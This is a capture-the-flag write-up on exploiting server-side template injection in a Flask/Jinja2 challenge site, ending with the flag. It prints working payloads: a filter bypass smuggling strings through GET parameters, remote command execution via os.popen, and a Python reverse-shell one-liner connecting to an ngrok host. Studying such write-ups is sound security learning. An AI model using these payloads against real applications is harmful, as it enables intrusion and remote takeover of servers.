Statement: Picking a starter is hard, I hope you can do it.


The site has three endpoints that return information on pokemon starters :

pickyourstarter1

I decided to check the site’s behavior by trying to query the /x enpoint :

pickyourstarter2

I start by checking whether the site is vulnerable via SSTI (Server-Side Template Injection) with a basic payload {{7*7}} through endpoint :

http://chal.pctf.competitivecyber.club:5555/{{7*7}}

The server get back the calcul of payload :

pickyourstarter3

In view of the server response and the site headers (python), I assume that the exploit will be a Jinja2-based SSTI :

# curl -I http://chal.pctf.competitivecyber.club:5555

HTTP/1.1 200 OK
Server: Werkzeug/2.3.7 Python/3.11.5
Date: Sun, 10 Sep 2023 13:39:22 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1120
Connection: close

After sending multiple payloads, I notice that the following strings and characters are filtered via a WAF :

  • ' " [ ] |
  • builtins
  • config

To try to read config environment variables, you can use the self parameter to bypass the filter on the config value : {{self.__dict__}}

pickyourstarter4

I now know two things following the return of the payload :

  • No doubt about Jinja2 exploit based
  • No interesting values in config

While looking for documentation on this type of flaw, I came across this write-up, which enabled me to use python’s os module.

I manage to perform an RCE with the following payload in order to list the contents of the current directory :

{{url_for.__globals__.os.__dict__.listdir()}}

pickyourstarter5

But with quotes and double quotes filters, it’s impossible to perform an RCE using system, popen or anything else with this method.

On the PayloadsAllTheThings github repo, there is an interesting section about filter bypass :

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

It is possible to create a GET parameter and inject the payload within the parameter to bypass WAF quotes filtering !

After some time spent searching, we found the following payload for perform an RCE :

{{url_for.__globals__.os.popen(request.args.a).read()}}?a=id

pickyourstarter6

Afterwards, I manage to get a revshell on the remote machine with the following command :

{{url_for.__globals__.os.popen(request.args.a).read()}}?a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("5.tcp.eu.ngrok.io",11970));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

Once the revshell is established, all I have to do is retrieve the flag :

nc -lvnp 1337
Listening on 0.0.0.0 1337
Connection received on 127.0.0.1 44342
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

/app # ls
__pycache__       requirements.txt  templates
app.py            static

/app # ls /
app       etc       lib       opt       run       sys       var
bin       flag.txt  media     proc      sbin      tmp
dev       home      mnt       root      srv       usr

/app # cat /flag.txt
PCTF(wHOS7H47PoKEmoN)

Flag : PCTF(wHOS7H47PoKEmoN)

The filter function in the app.py file was as follows :

def blacklist(string):
    block = ["config", "update", "builtins", "\"", "'", "`", "|", " ", "[", "]", "+", "-"]
    
    for item in block:
        if item in string:
            return True
    return False